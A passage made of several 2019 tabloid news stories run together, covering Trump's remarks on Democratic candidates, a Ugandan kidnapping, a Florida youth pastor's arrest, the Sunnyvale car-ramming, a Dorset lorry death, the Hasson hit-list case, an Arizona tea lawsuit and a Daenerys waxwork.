insulting a collection people who could stand in the way of him being president. Speaking just hours after Vice President Joe Biden jumped into the race for the Democratic nomination, Trump spread his insults around, taking shots at several potentially viable candidates who nevertheless trail frontrunners in the polls. Of Harris, the California senator and former prosecutor, Trump said, she 'has got a little bit of a nasty wit but that might be it.' It was an unusual shot in her direction for Trump. Harris has used her Judiciary perch to skewer administration officials during testimony. During a CNN town hall event this week, Harris said 'Congress should take the steps toward impeachment,' but also said she was a 'realist' about the likely outcome. President Donald Trump has dismissed Joe Biden's vow to 'battle for the soul' of the nation, saying that the country was more divided during the Obama administration Trump said he was 'rooting' for South Bend Mayor Pete Buttigieg, who has captivated Democrats searching for a fresh face to take on Trump. He has done military service, speaks multiple languages, and has wowed a few televised town hall audiences. However, 'he is not going to make it,' Trump assessed of the candidate who has executive experience, but no national political experience. Trump reserved some of his harshest comments for Biden, who is now the national poll leader as well as the leader in a slew of early state polls. The president said Sen. Kamala Harris had a 'nasty wit' Trump continues to call Biden 'sleepy Joe' The president said he was rooting for South Bend Mayor and Democratic presidential candidate Pete Buttigieg The president called Rep. Beto O'Rourke, who captivated Democrats during his failed run for Senate in Texas, a 'fluke' 'When you look at Joe, I've known Joe over the years,' Trump said. 'He's not the brightest light bulb in the group I don't think, but he has a name that they know,' Trump added, without explanation. Trump has called himself a 'stable genius,' but longtime lawyer Michael Cohen testified that he wrote dunning letters to the release of Trump's grades or college test scores. 'He's coming on with some little cute statements about me, about the way the world is today,' Trump added of Biden, before explaining the roots of the nickname he has attached to the longtime senator and eight-year vice president. President Donald Trump insulted several leading Democratic candidates during a call-in appearance on Sean Hannity's Fox News program 'I think we are calling [Biden] Sleepy Joe because I have known him for a while and he is a pretty sleepy guy,' Trump said. Trump also took a shot at former Texas Rep. Beto O'Rourke a 'fluke' who he said 'is fading very, very fast. It looks like he will be a thing of the past very soon. But he was a hot item for a little while,' Trump said. In contrast to how he evaluated Biden, who is 76, Trump said Vermont Sen. Bernie Sanders has 'a lot of energy.' Sanders, 77, is the only other candidate older than Trump, 72. 'Well, he's got a lot of energy but he has got misguided energy and he's done very poorly in terms of the Senate. He has had very little legislation. I think he talks a lot and doesn't get it done,' said Trump. The American grandmother who was kidnapped during her Ugandan safari trip and held for five days before being released in exchange for a ransom has told how she feared she would be brutalized and raped by her four armed kidnappers. Kimberly Endicott, 56, was snatched from her jeep in the Queen Elizabeth National Park along with her driver on April 2. She was held for five days by a group of kidnappers before being dropped off on the border between Uganda and Congo in exchange for a ransom paid by the Ugandan government. Eight people were arrested in connection with her kidnapping in the days that followed. In her first interview about the ordeal, she told CBS's Gayle King how she did not immediately realize that her four kidnappers were there to take her when they emerged from a 'perfectly square bush' during an evening game ride. Once she was in captivity, she said she tried to 'humanize' herself to the men who took her to stop them from harming her. They never physically or sexually assaulted her which was her greatest fear. 'I don't know these men, I don't know what they're capable of. How do I get them to shoot me and just shoot me instead of dismembering me or raping me,' she said, recalling her strategy to get through the experience or die with the least amount of terror possible. Scroll down for video Kimberly Endicott spoke for the first time since being freed by her kidnappers in an interview on CBS This Morning on Thursday and Friday What are you thinking is going to happen? Where is he taking you? "That's what I don't know... And then the sun is setting and we keep walking. And it gets to complete, like, pitch darkness... I look up in the sky and I see the most beautiful sky I've ever seen in my life." pic.twitter.com/EkNf5agd3X CBS Mornings (@CBSMornings) April 26, 2019 'If I ran, oh I think that would just make them angry and I think I would probably get treated pretty badly if I tried to run. There's no place to run,' she said. Endicott added that it was her 'greatest' fear that she would be sexually or physically assaulted but she insisted the men never harmed her. 'He had my arm and he was, "run run run or I'll slap you." I felt him shaking when he had a hold of my arm and I thought to myself, "Is this methamphetamine or is this fear?" After first being snatched from her car along with her driver, she said she tried to speak to them to make herself 'a human to them.' They had told her to run, she said, and threatened her. 'He had my arm and he was, "run run run or I'll slap you." I felt him shaking when he had a hold of my arm and I thought to myself, "Is this methamphetamine or is this fear? If it's drugs then I'm in a world of problems. 'So I'm running through bush, hard ground and needles and I remember I keep yelling, "my feet, my feet, my feet." 'They said, "If you do what we say you'll be OK." I remember I just kept saying, "You took me away. You took me away." 'This weird gulping that I kept doing, I found out later that it's actually a fear response,' she said. Once the initial kidnapping had taken place, she recalled it becoming very dark. 'The sun is setting and we keep walking. It gets to complete, pitch darkness. At one point we stopped and I look up in the sky and I see the most beautiful sky I've ever seen in my life. 'It was incredible. It's nothing like I've ever seen before. That was when I became very aware of humanizing myself to them. They could have sold me to a different group....It could have been so much worse than it was 'I said, "Look at the sky. We don't have that at home. Do you see that? That's the milky way." 'That became my mission for myself was to be a human with them. Not only for them to see me that way but for me to see them that way,' she said. Endicott said she was able to speak to her daughter on the phone and that despite fearing for her life, she never once cried or screamed. 'I was able to call my daughter. She was beside herself. I'm not beside myself. I said, "Let's get it together but tell everybody what's happening, tell everyone what's happening,"' she said. Remarkably, Endicott said she was grateful to her captors who she viewed both as her kidnappers and as 'protectors'. 'Those young men were both my captors and my protectors. They could have sold me to a different group. When I went out in the open, they had guns. 'That protected me. It could have been so much worse than it was,' she said. When she realized ransom had been paid, she said she felt 'grateful'. 'When we pulled into camp, I realized just what my government did for me. I was overcome with shame for thinking they didn't do anything and gratitude like I've never felt in my life,' she said. The US refused to pay the ransom and it was the Ugandan government which gave the kidnappers $30,000 for her release after days of negotiations. Despite her ordeal, Endicott insisted that Uganda is a safe country and that her captors were merely opportunists trying to make money. Endicott said she tried to make herself 'human' to her kidnappers to try to stay alive. They never physically assaulted her, she said, but it was her 'greatest fear' that she would be raped or beaten 'I'm the exception to the rule. That was the other thing, the feeling of what this is going to do to this country. 'These are immensely friendly people,' she said, speaking of Ugandans. 'Everyone in hospitality, when you have a conversation with them, the last thing they say to you is, "Please, tell all your friends to come."' Endicott said that she feels she will 'relive' the ordeal for years to come and revealed that she was triggered during a walk in California, where she lives, when she heard the crunch of her boot on leaves after returning home two weeks ago. Describing the moment she was taken from her car, she said: 'All of a sudden, the four men come out of a perfectly square bush in front of us. My first thought was, there must be something happening behind us and these are rangers,' Endicott, who lives in California, said. She said that because they were armed, her first thought was that they worked for Wild Frontiers, the tour company she was with. It felt like a vortex sucking us in...When I think back about it, it felt like "whoosh" and that's it. We're off. Kimberly Endicott, 56 'They're armed. They have guns. I've been gorilla trekking with rangers that have guns. 'There were [alarm bells] but there were alarm bells of something must be behind us. 'Looking at them it became apparent pretty quickly that no, that's not what this is. 'They were not in uniform, they were rag tag. 'They were a little bit of everything. And then they made us get out of the vehicle,' she said. 'They make us get out of the vehicle, they make us sit on the ground. And that's where things go very um, I don't know how to describe it. 'There's really not a word to describe what that feels like. Pure fear. But that almost doesn't do it justice,' she said. King asked if what she felt was 'terror', to which she replied: 'That's closer maybe. 'But this weird whiteness, brightness, again I don't really have a good word for it but I just sat there and just faced forward and sat there and they went in and ransacked the vehicle and took out anything that was of value to them and then came back. Kim Endicott and her driver Jean Paul Mirenge Remezo were kidnapped on April 2 and released five days later. They are shown before she departed the wilderness lodge in Queen Elizabeth National Park for the Ugandan capital after being freed The kidnappers were arrested in the Kanugu district on Tuesday in raids 'The elderly couple I don't believe were sitting down. 'They were like in their later 70s, the gentlemen had a cane and they let them stay and then boom - it felt like a vortex sucking us in. 'When I think back about it, it felt like whoosh and that's it. We're off,' she said. The elderly couple were not taken with Endicott and her driver. So far, details of how they were treated while in captivity have not been shared. Endicott's release came after five days of negotiations and deliberation between the safari company she was staying with, the US government and Ugandan officials. Initially, the kidnappers had requested a $500,000 ransom which all parties flatly rejected. Secretary of State Mike Pompeo stated unequivocally that the US would not meet the kidnappers' demands as a matter of policy. DailyMail.com obtained footage of the moment Endicott returned to camp, barefoot, on April 9 after being dropped off at the Congolese border. She was helped inside by armed guards Endicott is pictured on April 9, immediately after arriving back at the lodge, following her rescue When she was suddenly released on April 9, the resounding question was who paid for her freedom. Wild Frontiers, the company she was with, vehemently denied putting up the money as did Ugandan police officials. Driver Jean-Paul Mirenge Remezo, 48, was also freed on Sunday 'It's pretty obvious something happened but there was never $500,000 or any amount paid by us. 'There's a lot of problems in Uganda with this. Everybody's terrified that this is going to make us a target,' a company director, who did not want to be named, told DailyMail.com. However the country's Minister for tourism soon admitted that they paid. In an interview with NBS, a television network in Uganda, he said: 'It had to be taken. The money had to be taken. Money is money. 'Our first priority, number one, was to make sure they were safe. I don't think it should be turned into a very big situation,' he said. President Trump was among those who called for her safe return. He tweeted: 'Uganda must find the kidnappers of the American Tourist and guide before people will feel safe in going there. Bring them to justice openly and quickly!' None of the eight suspects who were arrested in connection with the kidnapping have been named. Heartwarming video shows a four-year-old boy speaking for the first time since accidentally shooting himself in the head a month ago. Na'vaun Lamarii Price Jackson fired a gun into his own forehead on March 27 after finding the weapon under a pillow at his mother's estranged boyfriend's home in Oakland, California. The youngster was put on life support and then placed in a medically-induced coma, before doctors were forced to remove part of his skull and brain in order to keep him alive. And while relatives were told it was likely Jackson would be brain dead, the new footage shows he is making a miraculous recovery. Heartwarming video shared to Facebook on Wednesday shows Na'vaun Lamarii Price Jackson speaking clearly a month after he accidentally shot himself in the head Jackson is seen in pictures taken shortly after the accident on March 27 Video of Jackson filmed by his grandfather Ramon Price and shared to Facebook Wednesday, shows the boy talking as he sits in his hospital bed. The clip begins with the adorable youngster giving a cheeky smile for the camera, before Price says: 'Na'vaun, say 'Grandpa''. 'Grandpa!' the boy clearly replies He then goes on to repeat a variety of words including 'sister', 'momma' and 'grandma'. A grateful Price then tells little Jackson that lots of people have been praying for his recovery, and that he should say thank you. 'Thank you!' Jackson says with a smile. Price captioned the video: 'What a mighty God we serve'. Terrence L. Wilson (left), has been charged with one count each of child abuse, possession of a firearm by a felon and first-degree criminal firearm storage. Jackson's mother, Brijjanna Price (right), was left devastated after the attack Jackson (pictured before the accident) found the firearm under a pillow at the home of his mother's estranged boyfriend Price has been diligently documenting Jackson's long road to recovery on both Facebook and GoFundMe. Last week, he revealed that the boy' condition was upgraded to stable and that he was beginning physical therapy, despite doctors' initial beliefs that he would never be able to walk again. Meanwhile, Jackson's mother, Brijjanna Price, told ABC7 News last week that her son is able to move his foot and kick at pillows and use his hands to reach for things. 'Every day he's doing something different so my son's going to be back soon,' she stated. Price is pictured with his mother, Brijjanna, who says that her son is now able to move his foot and kick at pillow Court documents obtained by Fox 11 showed that her estranged boyfriend, Terrence L. Wilson, has been charged with one count each of child abuse, possession of a firearm by a felon and first-degree criminal firearm storage following Jackson's accidental shooting. Wilson reportedly told police that he slept with the gun under his pillow and had forgotten to lock it up. Wilson is said to have had six prior convictions, including second-degree robbery from 1999, and second-degree burglary, conspiracy to commit a crime, two counts of insurance fraud and grand theft, all from 2003, according to court documents obtained by the East Bay Times. Meanwhile, the little boy's father, Nathan Jackson, is in state prison and has only been able to see his son via Skype. He is said to be serving a nine-year sentence at Salinas Valley State Prison for assault with a firearm, according to the Los Angeles Times. Luis Clarke, 38, is charged with 25 counts of sexual battery of a minor and false imprisonment A youth pastor at a Florida church has been arrested after being accused of sexually assaulting a female minor and threatening to turn her family over to immigration officials if she told anyone. Authorities say Luis Clarke, 38, assaulted the girl over six months from when she was 15 in August 2016 to February 2017. At the time, he was a part-time youth pastor at the now defunct Abrazo tu Sueno Church in Pembroke Pines. According to an April report, Clarke would collect the girl from school and take her to his residence in the same neighborhood as the church, which was open 2014 to 2018. He allegedly molested and raped her and took images of her undressed on his iPad. Clarke is accused of coercing a girl, 15, into having sex with him by threatening to turn her family over to immigration officials Florida's Abrazo tu Sueno Church youth pastor allegedly assaulted girl at his home from August 2016 to February 2017 The report states the girl 'never reported the sexual acts to her parents and went along with [Clarkes] request because he threatened to report her and her familys illegal status to authorities'. A police document states that on one occasion Clarke picked up both the girl and a 15-year-old boy from a park in Hollywood then took them to him home and set up an alarm. He allegedly forced the male to watch him assault the female and ensured they wouldn't attempt to flee by activating the property's alarm. Clarke is accused of shouting at the boy, telling the male child he was gay and that the girl 'belongs to him'. '[Clarke] continued to yell at [the boy] demanding that he watch the sexual act,' Detective Alkie Lewis-Siminies stated in a report. The boy went to police on April 3. Clarke allegedly forced a boy, 15, to watch him assault the girl, shouted at the male telling him he was gay, and told the male that the girl 'belonged to him'. The boy went to police April 3 Clarke was arrested Thursday. He was being held in Broward Main Jail in downtown Fort Lauderdale. He's charged with 25 counts of sexual battery of a minor and false imprisonment. The report says Clarke admitted to two sexual encounters with the girl. A lawyer for Clark wasn't listed on jail records. 'We are asking any parent or guardian whose child may have come into contact with the suspect through the church or otherwise, to please speak to them regarding this matter,' the Sun Sentinel reports Pembroke Pines police Captain Al Xiques said. 'If there is a concern of potential wrongdoing, they are urged to contact the Pembroke Pines Police Department.' Isaiah Joel Peoples, 34, was scheduled to appear in San Jose court Friday to be arraigned on eight counts of attempted murder An Iraq War veteran with a history of post-traumatic stress disorder has been charged with eight counts of attempted murder after police say he intentionally plowed into a crowd of people in California on his way to a Bible study class. Isaiah Joel Peoples, 34, was scheduled to appear in San Jose court for his arraignment later Friday. Peoples is a former Army sharpshooter who was deployed to Iraq in 2005 and 2006. He showed no remorse after his car plowed at high speed into a group of people in a crosswalk on Tuesday evening in the Silicon Valley suburb of Sunnyvale before hitting a tree, Police Chief Phan Ngo said. Eight people were injured, the youngest a nine-year-old boy who was treated for minor injuries. Four remained hospitalized, including a 13-year-old girl in critical condition. This photo taken Tuesday shows Peoples's black Toyota Corolla wrapped around a tree after police say he deliberately plowed into a crowd of people in Sunnyvale, California Peoples is seen lying on the ground before handing himself over to the police. Witness Don Draper said he was heard mumbling about Jesus A witness said he watched in horror as the black 2012 Toyota Corolla sped through a crosswalk between El Camino Real and Sunnyvale Saratoga Road at 6.40pm on Tuesday and bodies went flying. It was a warm night and people were out in cafes and restaurants. 'I saw this woman fly through the air right in front of me. She flipped upside down and then fell right in front of my car,' Don Draper said. He marched over to Peoples' car, which had swerved onto a sidewalk and crashed into a tree. He said Peoples did not appear drunk but looked dazed and was mumbling over and over, 'Thank you, Jesus. Thank you, Jesus.' The police chief said Peoples had picked up food and was on his way to deliver it to his Bible study group. 'When we took him into custody, he did not behave in any manner that would be considered bizarre,' Ngo said. 'He has not shown any remorse.' Eight people were injured, including a nine-year-old boy and a 13-year-old girl. Pictured: police come to the aid of one of the victims of the crash Though the FBI was assisting in the investigation, there was no evidence linking Peoples to any terrorist organization and, so far, no evidence of a federal crime, Ngo said. Investigators were processing evidence found Wednesday in a search of Peoples' apartment in Sunnyvale, about 50 miles south of San Francisco. Around 11am that day, officers forced entry into his home by leaning a ladder against the building and using an ax to break the apartment's sliding glass balcony door to serve a search warrant. Police also gave him a blood test for drugs and were checking into accounts from family members that he had a history of mental illness. In an interview with ABC News, his mother, Leevell Peoples, recounted how in 2015, Isaiah was walking barefoot in Sacramento, thinking he was still in Iraq, when he picked up a rock and through it through a window. During his stay in a hospital, she said Isaiah asked an officer guarding him how many people were killed today and said that he heard gunshots. After the episode, Leevell said her son went back on his medication. 'Two weeks ago we were on the phone and I said, "Are you still taking your medication?" And he said, "Yes." And I said, "Yeah, that's good." I said, "You have to take that the rest of your life now." He said, "I know,"' she said. Peoples is an Afghanistan war veteran and military contractor who suffers from PTSD Peoples' mother Leevell Peoples defended her son as a 'model citizen' on Wednesday, saying the only situation in which he'd launch an attack is due to a bout with PTSD In the days preceding the crash, the mother said her veteran son was having trouble at work. She also said that talk of his job performance would trigger his PTSD. She said she last spoke to Isaiah just hours before he drove into the crowd and recalled that he did not sound upset. Leevell argued that her son requires psychiatric treatment and does not belong in jail. 'I know with 100 percent certainty that my son did not do that on purpose. No way ever,' she said. Her son graduated from Sacramento State University after returning from Iraq in 2007 and was working as an auditor for the Defense Department in nearby Mountain View, she said. He's been employed there since August 20, 2017, according to a local newspaper. The black 2012 Toyota Corolla rammed into a group of people waiting to cross at the busy intersection between El Camino Real and Sunnyvale Saratoga Road The intersection where the crash took place is pictured Tuesday night was littered with debris 'He basically probably has no friends but the people he works with,' she said. 'He's an Army vet. He's a good kid, never been arrested. I promise you: It was not deliberate. If anything, it was that Army.' She said the Army forced her son to retire because of PTSD. Pentagon spokeswoman Lt. Col Carla Gleason confirmed that he retired from the Army. His brother, Joshua Peoples, painted a similar portrait of his sibling as a 'really good kid' struggling with PTSD. 'Hes always just trying to do good for himself,' said Joshua, who speculated that his service overseas 'messed up his mental health.' Peoples served as a civil affairs specialist in the Army Reserve from March 2004 to July 2009 and attained the rank of sergeant, and he was deployed to Iraq from June 2005 to May 2006, according to another Pentagon spokesman, Lt. Col. Emanuel Ortiz. He also served in Iraq as an Army sharpshooter but was discharged because of his PTSD Peoples was honorably discharged from the Army, and police were investigating the PTSD report, Ngo said. Peoples had no criminal record and owned one weapon, a disassembled and inoperable shotgun that was in the trunk of his vehicle, according to the police chief. Peoples' former housemate Chuck Herrera described him as quiet - someone who had to be coaxed into going out for drinks or dinner. He said Peoples was kind to Herrera's toddler son. He recalls Peoples 'always had a lot of pills' and a cough. 'The guy I met was not someone who you think will hurt someone,' he said. 'My guess is something happened.' Dean Phoenix, the lorry driver who crashed into and killed a young boy, was on licence from a life sentence for murdering his wife at the time A lorry driver who knocked down and killed a young boy was previously jailed for murdering his wife, it can be revealed today. Dean Phoenix was sarcastically clapping at another motorist when he hit Jaiden Mangan on a pedestrian crossing in Wareham, Dorset, on March 29 last year - the day before the boy's fourth birthday. But it can now be reported that Phoenix was given a life sentence in 2004 for killing his 26-year-old wife Naomi in 2003. Authorities have not revealed when he was released from prison, but he was still on licence at the time of the fatal road crash last year. Phoenix was sent back to prison today for causing death by careless driving. He was cleared of the more serious charge of causing death by dangerous driving after a two-day trial. The family of crash victim Jaiden Mangan were angry that he only got a one-year sentence - meaning he could be released after serving six months behind bars. The father of three-year-old Jaiden shouted 'is that all het gets' after Dean Phoenix was sentenced at Bournemouth Crown Court today. Jaiden suffered fatal chest and abdominal injuries and died in hospital on March 29 last year Jaiden's heartbroken mother told said her life had been ruined by Phoenix's 'stupidity' Prosecutors gave few details of the murder Phoenix carried out, but confirmed he was jailed for life in July 2004 following a trial at Kingston-upon-Thames Crown Court in south-west London. Phoenix was a lorry driver at the time of the murder. He killed his wife at their home in Hounslow, west London. Following his release from prison he was working as Sainsbury's lorry driver when he crashed into Jaiden. The 44-year-old failed to notice the lights on a pedestrian crossing had changed to red to allow Jaiden and his family to cross when the tragedy happened. He had become frustrated after his Sainsbury's delivery lorry was blocked by a car parked illegally on the zig zag lines of the crossing in Wareham, Dorset. As he tried to manoeuvre around it, he was seen swearing, gesticulating and sarcastically clapping another driver he thought had stopped to let him through a very tight gap. In fact the oncoming driver had stopped because of the red light. At that moment CCTV footage picked up Jaiden riding his balance bike, approaching the crossing with mum Yasmin Dougan and his seven year old sister, Mijah. Jaiden and his family (left) were seen on CCTV heading to the crossing where the three-year-old was hit and killed As they walked over the crossing Phoenix pulled forwards without seeing them and struck Jaiden. The youngster died later in hospital from severe chest and abdominal injuries. He would have turned four the next day. In victim impact statements read out in court, the distraught family told of the harrowing impact seeing him suffer has had on them. A statement addressed to Phoenix from his mother Miss Dougan said: 'My life will never be the same. All I have are memories because of your actions and stupidity. 'He's my baby boy and I miss him so much. When I think of him now all I get is heartache and pain. You have taken the joy and happiness away from my life.' Phoenix was distracted as he clapped at another vehicle before ploughing into the youngster. Pictured: Jaiden's balance bike lies in the road after the tragedy Locals left tributes at the scene after the accident in the centre of Wareham in March last year Judge Jonathan Fuller: 'The image of Jaiden's body under your vehicle will be engrained on the minds of all who saw it for sometime, if not forever. It was a tragic and frightening scene.' Phoenix was sentenced to 12 months in prison and disqualified him from driving for 18 months from when he leaves prison. Jaiden's father Mr Mangan reacted with anger at the length of sentence and stormed out of the court. More outbursts followed from other members Jaiden's family who left the courtroom in tears and said there was 'no justice'. Inspector Joe Pardey, of Dorset Police, said: 'Phoenix placed his vehicle on a pedestrian crossing, not being able to see the lights and not being able to observe the potential hazards that faced him. 'The lack of a few checks that would have been obvious to a competent and careful driver led to the death of Jaiden. No sentence is ever going to replace his (Jaiden's) life.' President Donald Trump is more worried about former Vice President Joe Biden's presidential bid than he has let on. Advisers to Trump told Politico that the president began talking as early as last fall about how to take down Biden should he win the Democratic nomination in 2020. 'How are we gonna beat Biden?' Trump would privately ask his aides. Aides reportedly told Trump that Biden, a moderate, would never win the Democratic nomination over his more liberal rival. 'But what if he does?' Trump asked. Biden could pose a threat to Trump's reelection campaign, more so than the 19 other declared Democrats, because he could win over some key rust-belt states, including swing states Wisconsin, Pennsylvania and Michigan, which secured Trump's victory in 2016. President Trump privately expressed concerns to aides over what the strategy would be if former Vice President Joe Biden were to win the Democratic nomination in 2020 In public Trump says Biden doesn't have the stamina to run for president, but in private has asked aides 'how are we going to beat Biden' if he secures the Democratic nomination 'Welcome to the race Sleepy Joe,' Trump taunted on Twitter hours after the former vice president announced his candidacy on Thursday. 'I only hope you have the intelligence, long in doubt, to wage a successful primary campaign.' When appearing on ABC's 'The View' for an hour on Friday, Biden said his nickname should be 'hyper Joe' because he has so much energy. Despite the report of his concern, Trump said Friday morning that he expects to easily take down Biden if he succeeds in the primaries. 'I think we beat him easily,' he told he told DailyMail.com outside the White House during a reporter scrum before departing for a National Rifle association Speech in Indianapolis. He also suggested that Biden, who will be 78 years old on Inauguration Day in January 2019, is already showing his age on the campaign trail. Trump, 72, called himself 'a young, vibrant man.' 'I look at Joe, I don't know about him. I don't know,' he said. 'I would never say anyone's too old but I know they're all making me look very young both in terms of age and in terms of energy I'm a young, vibrant man.' Trump tweeted 'Welcome to the race Sleepy Joe,' after Biden released his announcement video on Thursday. He was seen shooting the video outside of his childhood home in Scranton, Pennsylvania earlier in April Biden appeared on 'The View' for his first interview since announcing, and told the co-hosts that he should be called 'hyper Joe' instead of 'Sleepy Joe' because of his energy Biden's campaign has already faced controversies after seven women said their physical interactions with the former vice president mad them feel uncomfortable. Biden has refused to apologize for his actions, but says he's sorry the women felt uncomfortable Biden is the second oldest candidate of 20, behind independent Senator from Vermont Bernie Sanders, who will be 79-years-old on the next inauguration day. Trump holds the record for oldest president to move into the White House he was 70 years 220 days when he was inaugurated in 2017. Ronald Reagan entered office at 69 years old, but was just 16 days away from turning 70. Biden, who served in Congress represented Delaware from 1973-2009, has conceded that his age is a fair issue to raise as he makes his third attempt to win the White House. Trump predicted April 16, before Biden's announcement, that he would either face 'Crazy Bernie Sanders' or 'Sleep Joe Biden' in the 2020 general elections. Biden's campaign, however, faced several setbacks prior to his Thursday campaign launch. Several women came forward in the past few months accusing Biden of physical interactions that made them feel uncomfortable. Although the women did not go as far to say he sexually harassed them, any sort of accusation in the #MeToo era could derail a presidential campaign. Lucy Flores, the first woman to come forward, said Biden came up behind her, put his hands on her shoulders, and kissed the top of her head. Trump predicted before Biden's announcement that he either the former vice president or independent Sen. Bernie Sanders would secure the Democratic nomination and face him in the general elections next year Biden has stopped short of apologizing for the interactions, but says he feels regret that his actions caused women to feel uncomfortable. 'I have to be, and everybody has to be, much more aware of the private space of men and women,' Biden told 'The View' round table. 'I am much more cognizant of that.' Speaker Nancy Pelosi said that wasn't enough. 'To say I'm sorry you were offended is not an apology. It's: ' I'm sorry I invaded your space,'' Pelosi said while speaking at a Politico event April 2. 'I have to be more careful and including whether I sit down next to somebody and I was not invited to sit down. That's my responsibility,' Biden continued. 'I have to be more aware. It's totally legitimate for someone not to have to say, 'No, no, don't get into my private space,' he continued. 'It's my job. It's my job to read, 'No, no, this is space no one wants me to invade.' Biden will make his first appearance on the campaign trail in Pittsburgh, Pennsylvania on Monday. Mika Brzezinski went after President Trump on Friday, one day after it was revealed that federal prosecutors would not try a coast guard who was discovered with an arsenal of weapons and a hit list on terrorism charges. 'I have to ask why? How could this be? These are the things that you find after a massacre and you go, "oh, these were the warning signs. we should have noticed them,"' said Brzezinski. 'The warning signs were right there, and I say this as the wife of someone who was on that list so you may hear a little intensity in my voice, but I think Trump's doing this.' That hit list included a number of Democratic figures such as Nancy Pelosi, Chuck Schumer and presidential hopefuls Kirsten Gillibrand, Elizabeth Warren, Cory Booker and Kamala Harris. There was also one very notable former Republican on that list as well - Brzezinski's husband and co-host Joe Scarborough. Scroll down for video Rage: Mika Brzezinski (above on Friday) hit out at President Trump on Morning Joe, suggesting that he was behind the decision to drop the terrorism case against Christopher Hasson Foes: She then stated that she believed President Trump (left) wanted to let the coast guard lieutenant off as an act of revenge against those on his hit list like Joe Scarborough (right) That shocking statement was at no point retracted by Brzezinski, who then explained how she arrived at this hypothesis. 'How can I not do that math in my mind that the Attorney General is making a clear decision here to make sure the lives of people who are being targeted will continue to be in danger because they will not put together the pieces of this case?' asked Brzezinski. 'A stockpile of weapons. A list of people that he wants to kill. Are you serious? There's no way not to let this guy walk? You've got to be kidding me. Someone give me a legitimate reason.' Brzezinski said little else during the segment, as the two guests selected to appear on the panel presented reasons for the government's decision. One of those lawyers was Dave Aronberg, the district attorney whose Palm Beach office is handling the Robert Kraft case. Case: Hasson pleaded not guilty to illegal possession of firearm silencers and more charges Scarborough later entered the fray to express his opinion on the decision, stating: 'If somebody threatens the president of the United States, they're thrown in jail.' He continued: 'That's right. If this guy had put the president of the United States on the list instead of the speaker of the house and democratic minority candidates, that person would be in jail and that person would stay in jail.' On Thursday, US Magistrate Judge Charles Day noted that 50-year-old Christopher Hasson hasn't been charged with any terrorism related offenses. Hasson was arrested Feb. 15 and is awaiting trial on firearms and drug charges. Day said he still has 'grave concerns' about Hasson based on information prosecutors have presented, noting that Hasson is 'going to have to have a whole lot of supervision' before his release, a process that could take several days. Investigators found 15 guns, including seven rifles, and more than 1,000 rounds of ammunition at Hasson's basement apartment in Silver Spring, Maryland according to court documents. Arsenal: Investigators found 15 guns, including seven rifles, and more than 1,000 rounds of ammunition at Hasson's basement apartment (above) His indictment filed back in February also accuses him of illegal possession of tramadol, an opioid painkiller. Hasson pleaded not guilty last month to charges of illegal possession of firearm silencers, possession of firearms by a drug addict and unlawful user, and possession of a controlled substance. He faces a maximum of 31 years in prison if convicted of all four counts in his indictment. Hasson, a former Marine, worked at Coast Guard headquarters in Washington on a program to acquire advanced new cutters for the agency. A Coast Guard spokesman has said Hasson will remain on active duty until the case against him is resolved. The Arizona Beverage Company has reportedly been dragged into a legal battle after customers claimed that one of its product's core ingredients is missing. Cans of the brand's best-selling green tea promise that 'ginseng and honey' will be among the flavors enjoyed by drinkers. But fresh laboratory tests have allegedly found 'no detectable' trace of ginseng - a plant rooted in ancient Chinese medicine - and has prompted two shoppers in New York and Missouri to sue the drinks giant. Cans of the brand's best-selling green tea promise that 'ginseng and honey' will be among the flavors enjoyed by drinkers Dissatisfied customers, Kalesha Niles of Gloversville, NY, and Jason Lahey of Lee's Summit, MO, instructed attorneys to sue the company in Central Islip district court, according to Newsday. The lawsuit claims that Arizona advertises its green tea with 'ginseng for energy' - a slogan which is emblazoned on the 23-ounce containers - whereas it allegedly does not include a single drop of the ingredient. Attorneys are claiming that the company's motive for deliberately excluding the herb from production is the plant's soaring value which has increased to an eye-watering $1,000 per pound. Newsday said Arizona Beverage Company did not respond to request for comment. Although ginseng has long been used in traditional health remedies, its benefits have never been proved with evidence and it is not recognized by the Food and Drug Administration. A new waxwork of Game of Thrones character Daenerys Targaryen has become a laughing stock online after it was unveiled in Dublin. The National Wax Museum showed off their sculpture based on Emilia Clark's character in the hit HBO show on Wednesday. But fans on social media said it looked more like Legolas from The Lord of the Rings or Lucius Malfoy from Harry Potter. Others thought the sculpture of the Mother of Dragons reminded them of recent underwhelming statues of Mo Salah and Christiano Ronaldo. The National Wax Museum in Dublin unveiled their waxwork of Game of Thrones character Daenerys Targaryen on Wednesday Emilia Clarke as Daenerys in Game of Thrones - many on social media said the waxwork looked nothing like her The National Wax Museum showed off their sculpture on Instagram but drew some mocking comments One user wrote on Instagram: 'Can someone get Khaleesi some Chapstick, please?' While another said it was reminiscent of Ronaldo's likeness at Madeira airport: 'I think it's been made by the same person who made the statue of Ronaldo!' Others compared it to Mo Salah's unusual statue which was shown off in Sharm El Sheikh in Egypt last year. The popular Irish tourist attraction completed its latest figure to coincide with the eighth and final season of the popular fantasy show. Laoise Keaveney, head of marketing at the National Wax Museum, said she was delighted that the first waxwork to be completed this year was such an inspiring female character. 'We got it finished in time for Game Of Thrones' final season,' Ms Keaveney said. 'We've been watching Game Of Thrones and seen its success. 'As it is based in Ireland, we thought it was something we should mark and we're always aware that there needs to be more women added into the wax museum as well, so we were delighted to pick this character.' Mo Salah's statue unveiled in Sharm El Sheikh in November 2018 (left) and a bust of Christiano Ronaldo at Madeira Airport in 2017 (right) It took artist PJ Heraghty about six months to complete the waxwork. Daenerys Targaryen, also known as the Mother of Dragons, is played by Emilia Clarke in the series and is one of the most popular characters on the show. The creators of the TV series have described her as a combination of Joan of Arc, Lawrence of Arabia and Napoleon. Daenerys is the first character from the worldwide hit to enter the museum. She joins US president Donald Trump, Thin Lizzy frontman Phil Lynott and Tina Turner in its hall of fame. 'It fits to have a queen in a grand hall of fame,' Ms Keaveney said. It will not be long before she is joined by Ser Davos Seaworth, who is played by Irish actor Liam Cunningham. Some of social media said the sculpture had more of a resemblance to Legolas from The Lord of the Rings The waxwork was completed to coincide with the eighth and final season of Game of Thrones Game of Thrones is based on George RR Martin's series of fantasy novels, A Song Of Ice And Fire, and adapted for television by David Benioff and DB Weiss. The six-episode finale of the epic TV drama, which is being aired currently, will bring to a conclusion the saga of who will rule from the Iron Throne - after an almost 10-year journey. The series, which is filmed in Northern Ireland, has been credited with boosting the region's economy. The U.S. Department of Justice has opted to dismiss child pornography cases to avoid revealing details about the proprietary software they used to obtain evidence in the cases. The move is raising questions about whether the technology is erroneously targeting innocent people, or if the federal government is prioritizing intellectual property rights over prosecuting real perpetrators. Multiple cases have been dropped because the private companies that developed the technology used by federal officials refuse to allow it to be inspected or to share details about how they work including error rates, according to ProPublica. The news site conducted an 